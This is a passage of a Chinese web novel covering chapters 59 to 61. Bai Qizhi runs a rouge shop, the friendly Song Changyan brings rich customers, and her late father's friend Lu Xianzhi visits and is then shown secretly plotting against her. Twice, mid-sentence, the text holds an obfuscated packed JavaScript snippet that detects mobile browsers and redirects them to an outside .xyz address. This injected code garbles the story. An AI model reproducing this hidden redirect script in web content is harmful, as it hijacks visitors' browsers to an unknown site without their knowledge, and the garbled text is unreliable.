“但是呢——自从香玉坊落魄以来，掌柜的就再没拉到过什么客人来，随着人越来越少，她也越来越闲，一天天的，虽然嘴里说着闲了才好，如此一来既不用干活，月俸又不会少，岂不是两全其美？但只有我们这些个老伙计心里头才明白，掌柜的她是闲不下来的，她根本就不是个能享清闲的命！您是没看着最开始她闲下来的那几天是个什么样子，每天就坐在柜台后头拄着脑袋朝坊外出神，实在闲不住就起身拨拨算盘点点货。那时候，她整个人都跟丢了魂似得，都快魔怔了，看见坊外头有人影在晃都以为是有客人要进来卖货，结果出去一看，您猜怎么着？” 莫当时偷偷指了指坊前的歪脖子柳树：“外头哪里有人啊，是这玩意被风吹晃的影子哩！” 一连串说了这么多，莫当时有些口渴，但眼下没地儿给他水喝，他只能伸出舌尖舔了舔干涸的唇瓣，用唾沫浸湿起皮的嘴巴继续说道：“所以啊，掌柜的现在就是喜欢这股忙劲儿，就喜欢这种当年她还是个售货娘子为坊里做贡献的感觉，您呢，也就当是心疼她难得能有这一次机会展示展示自己，就甭跟她抢这活干了。您呢，就……” 话音未落，只听坊后头传来紫玉一声大喊：“莫当时，滚过来盛粥！” “来了！”莫当时大声应了一声，又转过头同白栖枝道，“您如果真心疼她，就找个地方好好休息休息，您刚来了那个，万一一不小心身子受寒垮了，这才是真叫掌柜的忧心呢。不说了，后头叫我抬桶过去呢，东家，我先走了。” “莫当事！赶紧给老子滚过来，老子数到三！” “来了来了！催什么催啊！” 眼见着莫当时和莫伯一人一边拎着粥桶又匆匆忙地跑添粥，白栖枝难得地笑了，下一秒，一件做工极其精细的正红色兔毛裘衣就稳稳地落到了她肩上。 白栖枝一惊，猛地转头向后看去，眼中顿时泛出了惊喜雀跃的光：“恩……宋哥哥！” 宋长宴也是一副乐呵呵的模样，伸手为她整理裘衣毛领，一边弄一边开心说道：“早就听见枝枝姑娘你要在此地施粥，我本打算今早就过来的，哪成想大哥非要考我经史子集，这一耽搁就来晚了，好在还是赶上了，不然可就要见不到枝枝姑娘你了！” 说完，他刚打好一个精巧紧实的结，放下手，笑盈盈地看向白栖枝。 一见到他，白栖枝心里说不出地开心，见他垂头看向自己，心头更是泛出一丝暖意，忍不住想同他说些幼稚的废话，便问道：“宋哥哥怎么知道枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995475|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枝要施粥的哇？这事儿枝枝还没告诉过别人呢，难不成是——” 她故意捂嘴做了个惊讶的表情，可把宋长宴吓了个魂飞魄散，急忙摆手道：“不是不是！在下岂会做跟踪枝枝姑娘那等龌龊之事！其实——” 他咬了咬下唇，有些羞涩地捏了捏衣角，将眼神僵硬地撇到一边，不好意思地喃喃道：“其实在下之前就想来找枝枝姑娘来了，不过上次到林家去找时，恰好遇到了在院子里透气沈兄，沈兄说你自打年节过去后就一直在铺子里忙，具体忙什么他也不清楚，只是说你忙。我想着，既然你都这么忙了，那在下就不好前去打扰你了，这才一直忍住没来找你一起出来玩。” 说到这儿，他忽地又两手握拳放在胸前，露出如受了冷落的大狗狗般的神情，十分真诚道：“在下真的没有存什么坏心思，在下是真的很想来找枝枝姑娘你一起玩、一起出来吃好吃的，可是枝枝姑娘你一直忙一直忙一直忙，在下这才不敢前来叨扰！况且在下也不知道枝枝姑娘究竟经营的淮安境内的哪家铺子，就一直在找一直在找一直在找……” “好不容易打听到了一次，结果枝枝姑娘你也不在铺子里，听说是受了风寒，我想去带药看你，又怕你病得难受不想见人，又忍了好久好久好久好久才打听你的消息，知道你又在忙着为这次施粥做准备，这才继续一直忍着，直到今天才敢出来见你……” 说到这儿，他那双赤诚热枕的狗狗眼里几乎要泛出一层薄薄的泪花。 宋长宴强忍着不让自己哭出来一样，摆着一副和白栖枝几近相同的哭哭脸，紧闭着眼哭诉道道：“枝枝姑娘你实在是不知道，这段时间、这段时间在下实在是太难受了，甚至有一段时间，在下差点就忍不住要来叨扰枝枝姑娘你了！但好在我终于还是忍住了，没有前来打扰枝枝姑娘姑娘做事。这么一想，在下也不是什么成事有余败事不足的饭桶是不是？在下很努力了是不是？呜呜呜呜，枝枝姑娘” 眼看着那双澄澈明亮的眼睛就要喷出泪花来，白栖枝哭笑不得，下意识地踮起脚尖摸了摸宋长宴垂下头，轻轻地揉着他的头，像哄小孩子一样轻快哄道：“好乖好乖，宋哥哥能忍这么长时间已经非常厉害了，如果换做是别人的话，强如怪物没忍住犯错，拼尽全力无法战胜！肯定没过多久就回来打扰枝枝了，宋哥哥还是特别特别特别厉害的！枝枝摸摸，宋哥哥不要伤心！” 看着，两人像三岁稚童一样站在原地絮絮叨叨着废话，时不时还要欢呼雀跃转圈圈，坊内众人包括春花几乎都以为她肯定是疯了才会这样，一个个看得目瞪口呆，连大气都不敢喘一声，就这么傻站在原地。 尤其是李素染，明明手里还在倒着粥，头却一直停在了白栖枝所在的方向，甚至连差点要倒到求粥人的手上都不知道，还是对面人眼看着要被烫到，惊得大喊一声，这才把李素染飞出去的魂给拽回来。 不过转念一想： 作为香玉坊的新东家，小姑娘紧绷了这么久，好不容易能在好朋友面前放松放松实属不易，他们也不必打扰人家了，爱做什么就让这两小只做去吧，他们这些人还是不要去掺和了。 不过…… 李素染忍不住用余光偷偷去看，只见两人原地手拉着手在雪地里转圈圈，一边转，一边又兴奋地说着些小孩子才会说的废话。 那股子亲密劲儿，就连她这个未曾恋爱过的人都发觉出一丝端倪。 这两个尚懵懂不知事的孩子之间所怀情谊，似乎…… ——未必只是友人之情吧？ …… 59. 蜜桔 两只不成熟的三岁小孩就这样说说笑笑直到粥棚收摊。 怕众人觉得唐突，宋长宴先是躬身朝大家行了个大礼，随后才说出了自己的诉求。 “我想……我想借枝枝姑娘出去吃顿饭，还请诸位恩准。” 他说得一板一眼，神色又极为严肃诚恳，搞得大家都笑个不停。 “去吧去吧，不过我们东家今日身子不太爽利，还望宋二公子多加照拂。” “一定的！啊，在下是说在下一定会好好照顾枝枝姑娘的，还请诸位放心！” 看着两小只蹦蹦跳跳地离开，众人对了对目光，皆心照不宣地笑了起来。 两人前去吃饭，白栖枝说自己不喜欢太大的饭馆子，宋长宴便拉着她来到自己的最喜欢的小饭馆。 这小饭馆的位置略偏，但胜在店内收拾得一尘不染，也算是淮安小饭馆里上乘的那批。 一落座，宋长宴没先点菜，而是问了白栖枝的喜好与忌口，这才一口气点了一大桌子菜。 “这……能吃了么？”白栖枝看着面前一大桌子菜十分担忧，“会不会太浪费？” 宋长宴答道：“不会的，吃不了可以包起来带走呀，又不一定要扔掉。到时候枝枝姑娘可以捡些好的带回去给大家也尝尝，剩下的在下带走晚上再吃一点，这样就不会浪费了。” 白栖枝觉得他言之有理，原本蹙起的眉头渐渐舒成了两弯柳叶状，甜甜道：“多谢宋哥哥。” 两人一顿饭吃得有说有笑。 面对自己熟悉又玩得好的朋友，白栖枝自然是无话不谈，但也不是真的无话不谈，那些不好说出去的事她自然会省略，只是提到香玉坊近来的业绩时，每每总是忍不住叹气，一副愁云满面的样子。 “没关系的枝枝姑娘！”宋长宴眼里闪烁着明亮的光。 他拍了拍胸口，慷慨道：“此事就交给在下吧！在这淮安，在下也是有很多朋友的，到时候在下可以拉他们来给枝枝姑娘撑场面，再让他们拉着家中女眷来照拂枝枝姑娘的生意，保准枝枝姑娘能完成这个月的考绩！” 白栖枝很认真地思考。 宋长宴见她不说话，以为是自己那句话惹得她不高兴，赶紧摆手解释道：“枝枝姑娘！在下虽然在淮安有许多朋友，但在下肯定是和枝枝姑娘玩的最好的，枝枝姑娘不要生气，在下真的没有花心！真的真的真的不是花心！还有，在下拉朋友前来不是不相信枝枝姑娘的能力，枝枝姑娘如此聪明伶俐，肯定是能自己一个人完成考绩的，在下、在下只是想尽自己所能帮枝枝姑娘一把，在下发誓，在下真的没有瞧不起枝枝姑娘的意思，真的！” 他语速实在太快，一口一个“枝枝姑娘”地叫着，都快变成小老鼠精了。 说完，他还竖起三指立在太阳穴处，朝白栖枝认真发誓道：“在下说得这些真的是真话，如果在下有一句话骗了枝枝姑娘，在下就！” 白栖枝不顾什么“男女授受不亲”的旧俗，急急伸手去捂他的嘴。 “唔唔！”宋长宴眨巴了两下眼睛，这才反应过来，赶紧放下手朝她嘿嘿一笑。 白栖枝这才放下手来。 “没有啦，枝枝没有不相信宋哥哥，宋哥哥能帮枝枝，枝枝自然是十分开心的，只是……”白栖枝很小心翼翼地问道，“这样会不会太麻烦宋哥哥的朋友们了呀？” “麻烦什么，这点小事还不够我出去游玩被我爹抓见，跑去他们家里借宿麻烦呢。”说到这儿，宋长宴不好意思挠了挠后脑勺，“好在大家都很好，我这么给他们添麻烦他们也没有嫌弃我，这点小事，他们更不会放在心上的。如果枝枝姑娘信我，我一会儿回去就好好准备准备，明儿一准把他们给带到香玉坊里头去，有他们在，枝枝姑娘这个月的考绩肯定不愁了！” 宋长宴说得极有信心，连带着白栖枝都被他这股子热情点燃了：“好哦！那明天枝枝就等着宋哥哥来！枝枝就在这里先多谢过宋哥哥了！” “举手之劳罢了，哪里称得上谢？”宋长宴说完，又赶紧用公筷往白栖枝碗里夹了一筷子肉，“枝枝姑娘快尝尝这个，这个东坡肉这家店做得可好吃了，别的店家都做不出这个味呢，你多吃一点，如果喜欢，在下下次还带你来！” “好喔！” 两人捡了几口菜吃，又连着说笑了一阵，眼见要都黑了，这才依依不舍地包了剩下的饭菜拜别，各自回了各自的家。 两人这般惺惺相惜本是件好事，但林听澜觉得有点不耐烦了。 此刻他在沈忘尘屋内，白栖枝被宋家老二找去吃饭这么久都还没回来，显得有些忧心忡忡，忍不住朝沈忘尘发问道：“忘尘，你说那宋家老二老是来找她出去玩，不会是看上她了吧？” 沈忘尘正在按医嘱尝试着用他那不太灵便的手剥蜜桔，大夫说他这手这几年来恢复的是越发的好，再多试着活动活动没准日后就能拿得动重物了。 听林听澜如此揣度，他轻笑一声，反问打趣道：“怎么？你嫉妒了？” “也没有。”林听澜显得有些烦躁，“就是他们两个一天天老是出去，孤男寡女的，万一。” 话没说完，一半蜜桔就被递到嘴边。 “啊——” 沈忘尘跟哄小孩似的用橘子在他唇边碰了碰，调笑着问他：“尝尝，酸不酸？酸的话我就不吃了。” 林听澜握着他纤细的手腕，就着他的手一口吃下。 只是他此刻心思不在这儿，橘子是酸是甜他也尝不出来，犹自暗暗思忖道：“这小妮子怎么吃了这么久还不回来？不行，再这么下去她的魂儿都要被那小子勾走了！早知如此，我当初就不该让她去什么香玉坊，就该把她老老实实拴在我身边，省得她天天被其他坏小子拐跑！嗯？忘尘？怎么了？” 感觉到手中瘦弱的手腕一颤，林听澜这才回头将心思放在面前人身上。 沈忘尘弯唇一笑：“没什么，就是手没力气。还有，”他气吐如兰般娇嗔道，“你捏的我手腕好痛……” 面前的人儿像是瓷做的，一个不小心就会被碰碎掉，林听澜自是知道的。 他缓缓松开沈忘尘的手腕，看着他边朝着自己笑，边握着手腕转动着活动，忍不住问道：“忘尘，你说若她这么久没回来，不会真被那臭小子勾搭走了吧？要真的被他给勾搭走了，你说我们该如何是好？” 沈忘尘温声道：“枝枝还没长大呢，她一个小孩子，哪里懂得情事？不过是眼下自己一人孤单寂寞，好不容易有个伙伴陪她玩，她一时图个新鲜热闹，这才忘了时间，哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004723|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有你想的这么严重？”他放下被林听澜攥红的手腕，双手缓缓剥着蜜桔，又体贴柔顺道，“至于你说日后两人相爱我们该怎么办？难不成你还要咱们两个冲出去拆散人家？难不成你真想让枝枝恨你一辈子？要我说的话，你呢，先稍安勿躁，等到枝枝回来再同她问个明白也不迟啊，又何必在这儿妄自揣度……唔，好酸！” 看着沈忘尘被一小瓣橘子酸得皱起了好看的眉眼，林听澜一直紧绷的脸上这才有了几分笑意。 也就是在这时，门外小厮前来通报道：“大爷，白小姐回来了。” 好小子，她也知道回来？！ 林听澜立即沉下脸，严厉道：“叫她过来见我。” 白栖枝本来挺开心的。 但这种开心在下人传报让她去见林听澜时就一下子消失得无影无踪了。 看着林听澜那张墨黑似的脸，白栖枝第一次脑海中冒出两个大字—— “好烦！” 因着沈忘尘在场，面对林听澜照例问询审讯，白栖枝也就佯装乖巧地一一答了。 明明她答得滴水不漏，态度也算谦逊，但不知道为什么林听澜一看着她那张白净的小脸，就是会窜起一股无名火。 不过说着说着他发现这个在自己心里上蹿下跳的怒气不是什么无名火，而是一股名叫“孩子长大翅膀硬了不服家人管教了”的怨气，以至于话聊到后头就剩下他还在抱怨，白栖枝只能时不时垂着头跟着点头应声，倒显得他像个家门怨父！ “好了好了。”见白栖枝被训得不敢出气儿，沈忘尘赶紧用一瓣橘子堵住林听澜的嘴，佯装发怒道，“枝枝都已经知道错了，你再这么训下去，是想要如何？” 林听澜气得大口大口地嚼橘子，活像一头发怒的倔驴，看得白栖枝想笑还不能。 “枝枝，来。”沈忘尘朝白栖枝招了招手，见她乖乖走来，也递给她一瓣蜜桔，温柔笑道，“别听你林哥哥的，累了这么多天，玩得晚了些也没关系，只是下次再有这种事，枝枝要记得早点告诉沈哥哥林哥哥，不然我们可是会担心的。” 说完，他将手中的橘子瓣朝白栖枝递了递，温声道：“尝尝，这是沈哥哥亲手剥的，枝枝看看甜不甜？” 沈忘尘素白的手上还染着橘子皮剥落时流出的汁水，清香馥郁，只是这么一递，意可香混着蜜桔香浓浓地扑了白栖枝满鼻，令人闻之欲醉。 面对这样的诱惑，白栖枝勉强维持理智下意识转头看向林听澜。 林听澜将头一扭，从鼻子里发出气音来：“哼！” 好幼稚…… 白栖枝简直要闭眼不忍观。 直到沈忘尘几乎要将橘子递到她嘴边，白栖枝这才不好意思地小心翼翼地将那瓣橘子接过，又小心翼翼地放到嘴里。 “唔！！！” 只是咬一口，橘子的酸汁便混着唾液在嘴里炸开，白栖枝酸得想用头撞墙。 眼眼见她水灵灵的小脸皱成一团身子猛地抖了个机灵寒噤，沈忘尘再也忍不住，掩嘴想笑，却又觉得有点缺德，只好敛着笑意，装作相安无事地模样又往自己嘴里送进手头最后一瓣蜜桔。 唔！ 好酸！居然比刚才的那瓣还要酸…… 下次还是就别买了。 60. 怀真 “枝枝！” 晌午，被再熟悉不过的声音高唤了一声，白栖枝欣喜转身，眼前的场景几乎吓得她咂舌。 香玉坊外，曾出现在宋宅新春宴上的那些“神妃仙子”、“如意郎君”如今纷纷站在坊外，黑压压地聚成了一堵墙，几乎要将整个香玉坊围个水泄不通。 只见宋长宴从这堵厚厚的墙外挤了进来，摆足了幅鬼灵精怪的神情，学着店小二的模样朝着众人躬身抬手：“诸位贵客请。” 墙内顿时发出了几声打趣的笑，这些来自达官显贵人家的少爷小姐们一个接一个地排成了队，依次往香玉坊里进，这阵仗，别说寻常的胭脂铺子不常见，就连林听澜手里头的茶铺都没怎么见过这阵仗。 白栖枝登时呆在原地。 还是坊内其他人先反应过来，带着笑面，几乎是拿出各自的看家本领，好好地带着这些贵客仔细品鉴坊内最新出的胭脂水粉。 “枝枝姑娘！” 白栖枝回过神来，就见着宋长宴跟小狗一样“哒哒哒”地跑过来，趁着大家将注意力都放在柜台内，他抬手用斗篷一遮，揣给白栖枝一个热乎乎的东西。 白栖枝低头一看，竟是个笋肉夹儿。 宋长宴嘿嘿笑道：“知道枝枝姑娘忙起来顾不得吃饭，我便在来时偷偷带了个这个，等一会儿枝枝姑娘可以找个没人的地方偷偷吃掉，大家都是朋友，不会有什么事的。枝枝姑娘，我……” “子逸！”突然有人高声叫了声宋长宴的字。 到嘴的话被硬生生堵了回去，再开口，宋长宴苦恼得说不出话来，只能失落地应了句“哎”，低声同白栖枝道：“枝枝姑娘，我待会儿再来找你。”说完，便大步朝那处走去。 热乎乎的夹儿放在手里也不烫手，温温的，一看就是被护了好久。 白栖枝低头看着，忽地笑了，刚要将它揣进袖中，肩头忽地被一拍。 “哎哎哎，别害怕别害怕！”见白栖枝猛地转头怒视，那身着男装素面的人举着双手笑眯眯地往后退了两步，开口竟发出脆亮女声，“我不是坏人，白小姐别害怕。” 女儿家？ 白栖枝一愣，随后收起自己戒备的神情，欠身一礼道：“见过小姐。” “应该是我见过白小姐才是。”那人看着白栖枝，毫不见外地上前拉住他的手，“我叫宋怀真，是他二姐，若白小姐不嫌弃，也唤我一声二姐就是了。” “二姐姐……”白栖枝弱弱道。 她对于宋长宴的家事不是很熟悉，只从沈哥哥嘴里知道他有个当太常少卿的哥哥，却不知他上头还有着几位阿姊，以至于上次宴饮虽见过这位阿姊，却并不知晓她的身份，如今一见，更是有些不知所措。 宋怀真倒是个自来熟的，直接握着她的手欢快道：“白小姐不知道我也没关系，毕竟长宴是宋家幼子，因怕别人笑话他与我们姐几个关系太好会被人笑作小白脸，以至于很少在外头提起我们，加上我们姐儿几个除了我又不怎么爱出门，自然鲜为人知，白小姐无须挂怀。” 白栖枝不敢说什么，只是抿唇笑着看她，一张团乎乎的小脸蛋红红的，加上眉心那道藏在刘海儿后的红痣，看起来恍若天上的小仙童，宋怀真煞是喜爱。 若不是此时人多，她怕只是要圈住白栖枝好好揉揉她肉乎乎的小脸蛋。 当然，上次宴饮时喝醉了捏着白栖枝小脸来回揉搓的人也是她，白栖枝光是看着她这张熟悉的脸，小脸蛋就有些痛痛的。 见白栖枝一副小团雀般不知所措的模样，宋怀真安慰似得拍了拍她的手，笑道：“白小姐别怕，我这人很好相处的，这不，听长宴说白小姐需要人来帮忙撑场子，我立即把闺中的好姊妹们拉来给白小姐您撑场子，白小姐放心，有我们在，你这个月的业绩一准儿达标！” 说完，她竟露出同宋长宴一样的欢快小狗的神情，朝白栖枝笑着求夸夸，身后几乎都要摇出尾巴。 “多谢二姐姐。”白栖枝也是笑，“只可惜枝枝今日不知阿姊前来，没有备下什么礼物，待这段时间过去，枝枝一准儿好好备好贽礼前去拜访，还请二姐姐勿怪。” 说着，她又要欠身，却被宋怀真一把拉起来。 宋怀真爽快道：“嗨，什么礼不礼的，白小姐这么说就见外了，毕竟白小姐是长宴的好友，长宴又是我们的亲弟弟，那白小姐的事便是我们的事，又何必如谢来谢去的呢？” 说到宋长宴，宋怀真朝那头帮人品鉴胭脂品鉴得焦头烂额的宋长宴偷偷一笑，又回过头道：“长宴是我们的弟弟，是宋家最小的孩子，平日里被我们姊妹兄长几个宠坏了，难免有些幼稚，平日里又时而蠢兮兮的，经常会弄出不少笑话来，到时候还望白小姐不要怪罪。况且，” 宋怀真顿了顿露出担忧无奈的神情，连带着声音都放轻了。 她又紧紧拉住白栖枝的手，如一位慈母般谆谆嘱咐道：“长宴他是真心喜欢白小姐的，他这个人，和别的官宦子弟不同，总是赤诚又热忱，喜欢一个人就恨不得把心剖出来给他看，也正因如此，他总会被人捉弄戏耍……当然，我也不是怀疑白小姐的真心，只是希望白小姐日后能多照拂他一下，倘若那日白栖枝不喜欢长宴了，也请第一时间告知他，免得他终日反思怪罪自己，徒劳一片伤心。” 白栖枝一直静静听着，她开始有点羡慕宋长宴了。 是的，羡慕。 她羡慕他有这么好的阿兄阿姊，羡慕他被他们如此好地呵护着，羡慕他明明已经年近弱冠还能如此无忧无虑地活着。 反观她呢？ 从长平到淮安的两个月里，她一直过着刀尖舔血的日子，一开始是有个忠心老仆一直陪着她赶路，可那他不过几天就累死饿死在路上了，王侯两个月，她都是一个在路上。 那段时间里发生的事足以将当年高高在上的白家大小姐一脚踏入尘泥——再狠狠踩上两脚。 白栖枝甚至不愿意回想那两个月以来发生的事，她甚至已经快要忘记了，可是当看着宋长宴被如此好好爱护的时候，她却忽地又想起了。 如果白家未被灭门，她应该也是有娘疼有爹爱有兄长护的一个无忧无虑的小姑娘吧。 可是，没了，都没了…… 她的亲人在一夜之间全死光了。 只是一夜，她白栖枝便成了这世上举目无亲的孤女之一。 一滴泪不合时宜地滚落眼眶。 “白小姐，怎么了？” 听着耳畔慌张的声音，白栖枝这才从痛苦的泥潭里抽出身，抽出被宋怀真握住的手，用袖子蘸着脸上的泪点，笑着解释道： “没什么，只是二姐姐这般倒是令我想起我的亲阿兄了？” 宋怀真十分惊奇：“咦，白小姐也有阿兄？怎么没听长宴提起过？那个臭小子，真是失礼，居然没拜见过人家阿兄就把人家疼爱的小妹给约出游玩，要是让大哥知道了，非罚他抄一百遍《论语》才是呢！” 说着，她忽而灵光一闪，欢快道：“既然长宴和白小姐的阿兄还没见过，不若今日坊内打烊后一起相约出去吃顿饭，也算是见一见面。当然，这饭钱必然是长宴来出，咱们就挑最贵的点，一定要让他好好长个教训！对了，不知白小姐的阿兄在哪里高就？日后也好有个照应嘛。” 白栖枝微微一笑：“病逝了……” “啊！”意识到自己失言，宋怀真赶紧捂住自己的嘴，她默了半晌，像个做错事的小孩子一样羞愧地解释道 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她又拉住白栖枝的手，叽叽喳喳地同她道：“哎呀，作为阿姊，哪里能让白小姐出这顿饭钱？这样吧，待坊内打烊后，白小姐带上坊内的伙计们，我带上长宴，到时候咱们一起一起去祥和楼去好好吃一顿，饭钱酒钱就有钱我来出，白小姐你就放开了吃，绝对不用跟我客气，就当是我宋怀真交你这个朋友给你带的见面礼了！” 白栖枝只是害羞地低头抿唇笑。 宋怀真再也忍不住了，大声道：“唔——白姑娘！我实在是太喜欢你了！揉揉！揉揉！” 说完，她就跟喜欢小动物一样，一把将白栖枝抱进怀中，又是揉头又是捏脸的，搞得不远处的宋长宴都听到了这边的动静。 “二姐！你不要欺负枝枝姑娘嘛！” 只可惜他刚抱怨一句就被其余姊妹哄笑着推走了，不一会儿就没入人潮之中，不见了。 “东家。” 左手处传来声音，白栖枝抬头，就见着春花急急朝她走来。 甫一见身着男装的宋怀真，春花还以为他是什么浪荡子在欺负她家枝枝，当即大怒道：“你个不要脸的纨绔子，我不管你是哪家的公子，快放开我家小姐！不然、不然我就叫我家大爷收拾你，叫你知道知道调戏我家小姐的下场！” 春花本以为搬出林听澜便能镇住眼前这位浪荡子，哪成想对方不仅不怵，反而嘴角嗜着一抹笑，得意洋洋地朝她单边一挑眉，打趣道：“什么下场？” 竟是个女儿家！ 春花自知得罪了大户人家的小姐，赶紧捂嘴垂眸，跟鹌鹑似得往那一站不敢说话，小心脏扑通扑通地直跳，也不知是不是吓得。 宋怀真见她这样忍不住轻笑了声。 她先放开白栖枝，爽朗道：“既然这位小姐有话同白小姐说，那我就先告退了，等日后白小姐得了空闲，记得多多来找我和长宴玩啊。”说完，她单眨巴了下左眼，双手抱头，真像个浪荡子似得优哉游哉地走了。 “小姐。”直到宋怀真没入人潮不见踪影，春花才松了口气，低声同白栖枝道，“小姐，外头有位大人，自称是小姐您阿父昔日的挚友，说想要见一见您……” 白栖枝有些惊讶：阿父挚友？ 她急忙问道：“可知道那位大人叫什么？” 春花摇摇头：“不知道，但我听他属下属下都叫他路大人。” “路伯父！”白栖枝几乎高兴到失声，连忙道，“快请他进来。” “是。” 看着春花渐渐离开的背影，白栖枝止不住地欣喜，一连深呼吸了好几次才勉强压住自己的情绪，尽量让自己表现得淡定自若，可嘴角不住上扬的弧度还是出卖了她即将再见故人欢快心情。 没想到在这儿还能遇见阿父的昔日好友！白栖枝暗暗地想。 太好了…… 真是太好了…… 这一定是老天对她的恩赐吧？ ——对吧？ …… 61. 羡之 香玉坊外头站了个紫色圆领袍衫的大人。 此人正是白纪风生前的同窗好友路羡之无疑。 “路伯父！”白栖枝欢快地叫着，顾不得什么礼仪，小雀儿似得就往外跑，却在看见他身上穿的那身行头时猛地一顿。 原本只是书画院祗候的路羡之，如今穿上了勾当官的常服。 只见他紫色圆领袍衫，曲领大袖，下施横襕，头上带的是佩戴直脚幞头，腰间系的是银革带，脚下登的是乌皮靴。 白栖枝以为自己早就放下了，可时至今日，再看到这身行头时却发现自己还是放不下—— 倘若家门未灭，这身行头本应是穿在她阿父身上的。 但她也深切地知道朝廷命官身死，其职不可空缺一日，所以在看到路羡之穿上这身常服时，她还是由衷地替他感到高兴的。 只是这心情太过纠结，叫她一时间无法接受罢了。 白栖枝缓缓上前，极有分寸地对着这位曾十分疼她的伯父欠身一礼，恭敬道：“民女白栖枝，见过路大人。” “枝枝。”故人再见，路羡之满含热泪。 他抬手想像以前那样去摸白栖枝的发顶，后者身形一躲，轻巧地避开了。 路羡之尴尬地收回了自己的手。 如今身处异乡，他再像以前那样摸她的发顶就显得不合适了。 他背过手去，看着这个几乎是在自己眼皮子底下长大的孩子，温和又慈爱地笑着叹道：“枝枝长大了呀。” “路伯父。”白栖枝唤了他一声，言语中是难掩地雀跃，“路伯父如今刚上任不久，应是忙得很，怎得得空到淮安来了？” 路羡之捋着胡子，悠悠道：“不过是受诏往京城里赶，途径此处，听到有位大户人家的小姐此前曾在此设棚施粥。我想着，大昭境内，爱施粥者唯白兄耳，故猜这位心善的小姐应是枝枝你，所以才来此查看，没想到，竟还真是！果然……无论过了多久，枝枝还是如此心地善良、乐善好施啊！” 白栖枝听了，只是笑着委婉回道：“路伯父过奖了，枝枝不过是继承阿父生前遗志罢了，若阿父在此的话……” 说到这儿，白栖枝戛然而止，垂下眼帘，抿唇不吭声了。 话说到此，就难免令人想到曾发生在白家的那桩惨案，路羡之不是不知道自己挚友一家被害，只是他那时被遣至他处，就算他想来帮一把，也是心有余而力不足。 路羡之亦是一阵沉默。 良久。 “对了，枝枝此次前来是来投靠夫家的吧？”路羡之是知道白栖枝身上有个娃娃亲，但如今见她仍梳着未婚少女的发髻，不由得有些疑惑道，“难不成枝枝至今还尚未与那位林少爷成婚？” “嗯。”白栖枝点点头。 路羡之大呵道：“怎会如此？！” 别人不知晓他可是知晓的，昔日若不是白兄相助，他林家充其量也不过是个小小的走卒贩子，更何况白兄又将自己的宝贝姑娘许给了他？！如今他家见白家遇难便想将此事一笔勾销，世上何有如此厚颜无耻之人！ 可怜他的枝枝竟被人如此辜负！ 若今日他不去找那姓林的讨个说法，那他这么多年也枉与白兄称兄道弟了！ 路羡之气极。 白栖枝倒是没有什么反应。 此刻长街有风，她伸手，下意识拢了拢耳边被风吹乱的碎发，顺便抬手有意无意地摸了下发髻上的白玉兰木簪，这才朝路羡之温顺解释道： “没事的路伯父，虽然这其中出了点变数，但也不是什么要紧的事，不怪林伯父的。更何况如今我暂住林家，衣食住行皆无忧心之处，甚至还有了这香玉坊，能让留在淮安讨口饭吃，如此便已是我的福气了，又有什么好贪心痴妄的呢？已经足够了……” 看见昔日叽叽喳喳像个小团雀般爱笑闹撒娇的小姑娘一夕之间成了这般温顺乖巧的模样，路羡之满脸都是心疼。 他轻叹一声，摇摇头，似是想要说些什么，方开口，走来一位同僚。 那人恭敬前道：“路兄，该启程了，误了时辰陛下可是要怪罪的。” 当今陛下乃是昔日宫中四皇子，这皇位本落不到他头上，奈何他偏以雷霆手段将诸位兄弟一一拔出，这才登基称帝。陛下严苛峻峭，大昭朝风也是拘谨晦朔，面对皇帝的诏令，满朝文武不敢有半点延误，生怕天子的雷霆之怒一不留神烧到他们头上。 当然，也有例外： 自太祖登基之后，世家大族多被拔除，却仍有负隅顽抗者难以被皇权根除。 现如今，这些世家大族亦身居要位，与皇权呈制衡之势，妄图控制朝纲。 好在当今陛下亦威严赫奕，兴科举，换朝臣，更何况如今那些世家子弟已成衰微之势，连根拔起指日可待，兴许不过几年就会被天子除掉，还天下一个海晏河清。 白栖枝到底是官宦子女，不会不懂路羡之的难处。 听那位新任祗候如此禀报，她便也不好再留路羡之来此做客，只吩咐春花去把店中最好的胭脂呈到路羡之面前，声音恬淡道： “此番伯父前来，枝枝未备下贽礼实是失仪。若伯父不嫌弃的话，还请收了此物，顺便替枝枝问伯母安好。眼下伯父赶路要紧，枝枝便不多留伯父闲叙了，待日后枝枝得空，定前携贽礼前去伯父府上拜访，同伯父谢罪。” 少女如此乖巧懂事，路羡之心疼得满眼是泪。 他命人收了那盒胭脂，终是忍不住，摸了摸白栖枝的发顶，同好声她叮嘱了几句，在白栖枝的目送下，这才一步三回头地朝不远处的马车走去。 马车内，一位被五花大绑的乞丐此刻正在车厢内疯狂挣扎。 倘若此刻有人能进来一看，定能发现此人正是前几日粥棚前那位被白栖枝称作“先生”的誉王府学谕。 “大人，这人怎么办？”那位下官见他如此不老实，登时朝他心口狠狠踹了一脚，见他竟因此疼昏了过去，满脸嫌弃道：“反正这人现在也疯了，留着他也什么没用，不如直接打死扔进乱葬岗里，也省得他疯疯癫癫地出去乱说。” 一进车内，路羡之便冷了脸。 “没用？不，若不是他，我们又怎么能得知白府的那个小丫头的行踪？”他拭了拭眼中被逼出来的泪点，眼中划过一抹阴险，冷声道，“昔日我念着旧时情谊，好心请大人饶她一马，本以为她日后能老实嫁进林家， 